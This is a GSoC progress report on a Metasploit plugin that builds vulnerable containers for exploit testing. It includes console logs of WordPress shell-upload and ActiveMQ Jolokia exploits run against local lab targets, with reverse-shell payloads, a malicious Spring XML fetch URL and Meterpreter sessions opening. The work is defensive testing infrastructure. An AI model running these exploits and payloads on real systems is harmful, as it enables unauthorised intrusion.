Vulnenv week8

[Nayeraneru]

Refering to rapid7#20506
GSoC 2026 — Week 8 deliverables for the Automated Vulnerable Environment Provisioning project.

test_env exec <ID>:

• cmd_test_env_exec — loads the target module by fullname (independent of current use context), applies stored datastore + recommended payload, runs via driver.run_single, reusing the console's own exploit/session-reporting path instead of reimplementing it

Payload resolution:

• build_resolve_environment applies a definition's ci.exploit.payload at build time, overriding module defaults known to be incompatible with a given image
• exec independently re-resolves the same ci.exploit config, since target.datastore doesn't persist payload selection

Error handling:

• exec validates environment exists and is running before acting, with specific messages per failure (not found / not running / module load failure)
• Auto-selects a free local port (free_local_port) for SRVPORT/FETCH_SRVPORT each run, eliminating Rex::BindFailed from stale listeners on repeated runs

Config fixes (found during testing):

• Removed hardcoded LHOST: 127.0.0.1 from wordpress.yml/activemq.yml — loopback is meaningless inside the target's container namespace and silently broke every callback since the target runs inside a container network namespace, so a hardcoded 127.0.0.1 resolves to the container itself, not the host - the payload can never call back. Metasploit's own outbound-interface auto-detection (used when LHOST is left unset) correctly picks the host's real reachable IP, which is what actually works.
• wordpress.yml: payload → php/reverse_php (target's PHP has no OpenSSL, so Meterpreter can never complete TLV negotiation)
• activemq.yml: payload → cmd/linux/http/x64/meterpreter/reverse_tcp (module's FTP-variant default isn't a supported fetch protocol)

Testing Result:

msf > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf > use unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env build
[*] Resolving environment for exploit/unix/webapp/wp_admin_shell_upload...
[*] Definition: wordpress | Variant: latest | Profile: default
[*] Image: docker.io/eystsen/vulnerablewordpress
[*] Setting recommended payload for this environment: php/reverse_php
[*] Pulling image docker.io/eystsen/vulnerablewordpress...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: 20e8dc3ed29c
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/15...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/15...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 3/15...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 4/15...
[+] Health check passed.
[*] Provisioning environment...
[+] Provisioning request sent.
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/10...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49152
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
msf exploit(unix/webapp/wp_admin_shell_upload) > use exploit/multi/http/apache_activemq_jolokia_rce
[*] No payload configured, defaulting to cmd/linux/ftp/x64/meterpreter/reverse_tcp
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env build
[*] Resolving environment for exploit/multi/http/apache_activemq_jolokia_rce...
[*] Definition: activemq | Variant: 5.18.6 | Profile: default
[*] Image: docker.io/apache/activemq-classic:5.18.6
[*] Setting recommended payload for this environment: cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Pulling image docker.io/apache/activemq-classic:5.18.6...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: 4cc4912f42e3
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49153 (service still initializing)
[*]   Attempt 2/12...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 2
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49153
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49153 TARGETURI=/ USERNAME=admin PASSWORD=admin
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env exec 1
[*] Using exploit/unix/webapp/wp_admin_shell_upload...
[*] Using configured payload php/reverse_php
[*] Setting recommended payload for this environment: php/reverse_php
PAYLOAD => php/reverse_php
LPORT => 4444
RHOSTS => 127.0.0.1
RPORT => 49152
TARGETURI => /
USERNAME => admin
PASSWORD => admin
[*] Executing: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 172.21.176.212:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/lrmFoCQwCh/bJlodKxdsR.php...
[+] Deleted bJlodKxdsR.php
[+] Deleted lrmFoCQwCh.php
[+] Deleted ../lrmFoCQwCh
[*] Command shell session 1 opened (172.21.176.212:4444 -> 172.21.176.212:47024) at 2026-08-02 01:54:06 +0300

In another terminal:

msf > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf > test_env exec 2
[*] Using exploit/multi/http/apache_activemq_jolokia_rce...
[*] No payload configured, defaulting to cmd/linux/ftp/x64/meterpreter/reverse_tcp
[*] Setting recommended payload for this environment: cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
LPORT => 4444
RHOSTS => 127.0.0.1
RPORT => 49153
TARGETURI => /
USERNAME => admin
PASSWORD => admin
SRVPORT => 34931
FETCH_SRVPORT => 39377
[*] Executing: exploit RHOSTS=127.0.0.1 RPORT=49153 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 172.21.176.212:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Jolokia accessible — agent version: unknown
[*] Using URL: http://172.21.176.212:34931/pM0J1Dvkc
[*] Using broker name: localhost
[*] Sending Jolokia exploit request to 127.0.0.1:49153
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Jolokia accepted the payload — waiting for target to fetch Spring XML...
[*] Sending stage (3106788 bytes) to 172.21.176.212
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] Sending stage (3106788 bytes) to 172.21.176.212
[*] Meterpreter session 1 opened (172.21.176.212:4444 -> 172.21.176.212:46814) at 2026-08-02 01:58:11 +0300
[*] Server stopped.

meterpreter > [*] Meterpreter session 2 opened (172.21.176.212:4444 -> 172.21.176.212:46830) at 2026-08-02 01:58:11 +0300

meterpreter >